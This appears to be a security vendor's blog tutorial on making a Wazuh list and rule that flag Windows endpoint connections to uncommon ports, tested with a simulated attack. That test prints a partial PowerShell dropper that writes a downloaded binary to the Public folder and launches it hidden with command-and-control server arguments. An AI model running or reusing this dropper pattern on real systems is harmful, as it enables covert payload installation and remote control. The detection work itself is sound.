Detecting Abnormal Network Ports With Wazuh

5 min readDec 19, 2022

Detect when your endpoints connect to uncommon ports


With our Wazuh endpoint agents and supporting packages (Sysmon / Packetbeat) — READ MORE HERE — deployed, multiple logs are being ingested into the SIEM stack. We are now able to monitor process creation, files added/modified, user logins, commands executed, and much more!

Prior to any of the above mentioned events occurring, a network connection is often involved. Whether that is an endpoint downloading a malicious payload from a command and control server or a user remotely logging onto the endpoint. Most attack killchains involve some level of a network connection and spotting abnormal network connections can help us stop an attack before the attacker has an opportunity to get the payload onto the endpoint.


When a network connection is established between our endpoint (Windows in this example) and the destination server, a Sysmon Event 3 event is logged. Diving into the event, we have three fields of interest:

  • destinationIP
  • destinationPort
  • image — Process that spawned the network connection

In the Firewall Threat Intel With GreyNoise post we automated IP lookup to detect when our endpoint connected to a known malicious IP address. Let’s add onto our detection capabilities by alerting when an endpoint has established a network connection to an abnormal port.

We would expect our endpoints to be establishing connections to common ports such as 443 (HTTPS), 53(DNS), 25 (SMTP), etc., but it would raise an eyebrow if we saw an endpoint connect to port 8888 . The below chart details Trojan’s and their respective ports:

Let’s build a detection mechanism to spot when an endpoint established a connection with an abnormal port.

Detection Rule

We highly recommend implementing your firewalls with a deny all / allow by exception approach when it comes to stopping outbound connections to abnormal ports. But we see time and time again where clients are not enforcing these best practices 🙃. Please don't let that be you.

Let’s first create a CDB List within Wazuh. The CDB lists are a very useful feature that we can bake into our Wazuh rules. The main use case of this feature is to create a white/black list of users, file hashes, IP addresses, or domain names. However, we can use lists to store anything we want, such as network ports.

To fully implement this detection capability we have three main steps:

  1. Create the CDB list.
  2. Instruct the Wazuh-Manager to load the list.
  3. Create a Wazuh rule to inversely match on the list.

Create the CDB List

We first need to create our CDB list that will contain our ports. Now a computer has 65,535 possible ports and we don’t want to have to list those out. It is easier for us to create a list of ports that we do not want to alert on. These include common ports such as 443, 25, 53, etc. Below is the list we are using in this post, however it is recommended to tune this list to fit your environment:


Let’s jump onto our Wazuh Manager and create the list.

  1. Navigate to where Wazuh stores CDB lists.
cd /var/ossec/etc/lists/

2. Create list.

nano common-ports
Creating list within Wazuh

chown wazuh:wazuh common-ports

chmod 660 common-ports

Instruct Wazuh to Load List

After creating the list, we need to tell Wazuh to load this list. Wazuh will generate the .cdb file on the fly for us.

nano /var/ossec/etc/ossec.conf

Find the <ruleset> section and add our new list.



systemctl restart wazuh-manager

After restarting the service, you should see the .cdb file be created and the list available for view within the Web UI.

Web UI

Wazuh Rule Creation

With our list in place, let’s create a Wazuh rule that will compare the field name that stores the destination port (data_win_eventdata_destinationPort) to all entries within our common-ports list. We then want an alert to trigger if the connected to port IS NOT within the common-ports list.

Grab the SOCFortress Advanced Wazuh Detection Rules repo to follow along.

Since Windows network connections trigger a Sysmon Event 3 , we will add a rule to our MITRE_TECHNIQUES_FROM_SYSMON_EVENT3.xml rule file.

<!-- Abnormal Destination Port Detected -->
<rule id="102503" level="10">
<list field="win.eventdata.destinationPort" lookup="not_address_match_key">etc/lists/common-ports</list>
<description>Sysmon - Event 3: Network connection to Uncommon Port by $(win.eventdata.image)</description>

If wanting to use another field name, simply replace win.eventdata.destinationPort with the field name of your choice.

Simulating Attack

On my Windows endpoint I will run the below Powershell that reaches out to the SOCFortress command and control server and downloads a malicious .exe .


$wc=New-Object System.Net.WebClient;
get-process | ? {$_.modules.filename -like "C:\Users\Public\$name.exe"} | stop-process -f;
rm -force "C:\Users\Public\$name.exe" -ea ignore;
[io.file]::WriteAllBytes("C:\Users\Public\$name.exe",$data) | Out-Null;
Start-Process -FilePath C:\Users\Public\$name.exe -ArgumentList "-server $server -group red" -WindowStyle hidden;

Looking in Grafana, we see our new alert trigger:


Digging further into the alert, we see PowerShell established a network connection to an abnormal port!

Abnormal Port

Which then dropped a binary within our Publicfolder:

Binary Dropped

Looks like our SOC analysts have their work cut out for them!


Throughout this post we created a CDB list and a Wazuh rule to spot abnormal ports that our endpoints have established network connections to. Malware has to get onto your box somehow and having the ability to spot network traffic connecting to abnormal ports can greatly increase our odds of spotting malicious activity before it becomes catastrophic. Start monitoring your own network today! Happy Defending 😄.

Need Help?

The functionality discussed in this post, and so much more, are available via SOCFortress’s Professional Services. Let SOCFortress help you and your team keep your infrastructure secure.


Professional Services:




SOCFortress is a SaaS company that unifies Observability, Security Monitoring, Threat Intelligence and Security Orchestration, Automation, and Response (SOAR).